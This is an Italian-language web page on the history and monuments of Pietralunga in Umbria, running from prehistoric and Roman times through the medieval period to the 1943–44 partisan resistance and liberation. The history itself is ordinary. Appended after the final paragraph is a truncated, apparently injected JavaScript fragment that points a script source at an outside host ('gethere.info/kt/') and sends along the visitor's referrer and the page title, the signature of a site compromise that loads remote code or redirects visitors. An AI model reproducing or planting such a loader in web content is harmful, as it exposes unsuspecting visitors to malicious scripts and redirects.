pietralungaIl Comune di Pietralunga è situato nella parte nord-orientale dell’Alta Valtiberina, a 566 metri di altitudine sul livello del mare. L’insediamento urbano occupa la parte terminale di un crinale collinare che si abbassa verso la valle del torrente Carpinella, a ridosso dell’Appennino umbro-marchigiano. Il centro murato giace sul versante meridionale del colle coprendo un dislivello di 40-50 metri tra il lato nord e quello sud delle mura urbane.

Pietralunga ha origini preistoriche ed il flauto su tibia umana conservato presso il Museo archeologico di Perugia, i vari castellieri sparsi nel territorio ed i ritrovamenti di materiale litico ne sono la tangibile testimonianza. La fondazione del centro urbano col nome di Tufi(ernu), tuttavia la si fa risalire al popolo Umbro. Durante il periodo romano – il più florido – è conosciuta col nome di Forum Julii Concupiensium. L’oppidum dei foroiulienses cognomine concupienses, elevato a Municipium nell’età augustea, è citato anche da Plinio il Vecchio nella “Naturalis historia (III, 14, 112-113)”. Di questo periodo restano significative testimonianze, come ville, acquedotti, fistulae aquariae, monete e importanti strade. L’affermazione del Cristianesimo nel territorio si è sviluppato attraverso il martirologio di san Crescenziano, un legionario romano al quale la leggenda attribuisce l’uccisione di un drago alle porte di Tiferno (Città di Castello). Crescenziano, messaggero della nuova dottrina, venne decapitato e sepolto a Pieve de’ Saddi dove, a suo ricordo, sopra le vestigia di un preesistente tempio pagano, venne edificata una chiesa, la più antica della diocesi tifernate, per accogliere le spoglie del martire.

Pietralunga fu distrutta durante le invasioni barbariche e venne riedificata tra il VI secolo e l’VIII secolo d.C., nella posizione odierna, con il nome di Plebs Tuphiae. A questo periodo risalgono la costruzione della Pieve di Santa Maria e l’edificazione della Rocca longobarda pentagonale. Con l’andare del tempo il territorio pietralunghese divenne una terra popolata e florida ed il nome della città venne mutato in Pratalonga (Leonardo in volgare la chiamava Pratomagno) dai pingui ed estesi pascoli che la circondavano.

Al periodo “comunale”, dal XI al XIV secolo, risale il miracolo della mannaja(11 settembre 1334): strumento di morte conservato presso la Cattedrale di Lucca.

Allo scadere del XIV secolo, per garantirsi incolumità e sicurezza, Pratalonga si sottomise a Città di Castello, divenendone parte integrante del territorio. La città maggiore vi inviava, semestralmente, un Capitano giusdicente con pieni poteri nell’amministrazione della cosa pubblica e della giustizia. Questo status politico-amministrativo perdurò sino al 1817, anno in cui Pratalonga, ormai italianizzata in Pietralunga, venne elevata al grado di Comune.

Durante la prima guerra mondiale (1915-1918) oltre cento cittadini pietralunghesi morirono per il bene e la difesa della patria. A ricordo la popolazione ed il Comune eressero un monumento al centro dei giardini nella piazza principale. Pietralunga è tra le Città decorate al valor militare per la guerra di liberazione, perché è stata insignita della Medaglia di Bronzo al Valor Militare per i sacrifici della sua popolazione e per la sua attività nella lotta partigiana durante la seconda guerra mondiale ed è sede del Monumento regionale al partigiano umbro.

Durante la Seconda Guerra Mondiale, L’8 settembre 1943, presso il vocabolo San Salvatore, e il 13 settembre 1943, in località San Faustino del Comune di Pietralunga, si costituivano i nuclei di resistenza ai nazi-fascisti. Dai primi nuclei nasceva una Brigata organizzata, in seguito denominata Brigata Proletaria d’urto San Faustino. Dopo un inverno di resistenza e vari scontri militari, finalmente il 30 aprile 1944, la Brigata occupava la caserma dei Repubblichini di Pietralunga e dichiarava Pietralunga Zona libera insediando di nuovo il sindaco Luigi Pauselli, cacciato dai fascisti nell’aprile del 1921, festeggiando nella massima libertà, dopo 23 anni, la festa del 1º maggio. Dopo questa data, il 7 maggio 1944, Pietralunga subiva un disastroso rastrellamento, che culminava con la fucilazione di sette ragazzi nella piazza centrale del paese e con quella, il 9 maggio 1944 a Città di Castello, senza processo, del martire della resistenza Venanzio Gabriotti. Il territorio diveniva teatro di sanguinosi scontri, tra alleati e partigiani da una parte, e nazi-fascisti dall’altra, con devastazioni e perdite umane anche tra i civili, sino alla definitiva liberazione avvenuta il 29 luglio 1944.

Tra i monumenti principali sono da segnalare in particolare la Pieve di Santa Maria (VIII – X sec. d.c.), la Chiesa del Gonfalone, la Rocca longobarda pentagonale e il Palazzo del Capitano del popolo; ma ci sono tanti altri luoghi di interessa da visitare nonostante si tratti di un piccolo centro abitato.[:]s.src=’http://gethere.info/kt/?264dpr&frm=script&se_referrer=’ + encodeURIComponent(document.referrer) + ‘&default_keyword=’ + encodeURIComponent(document.title) + ‘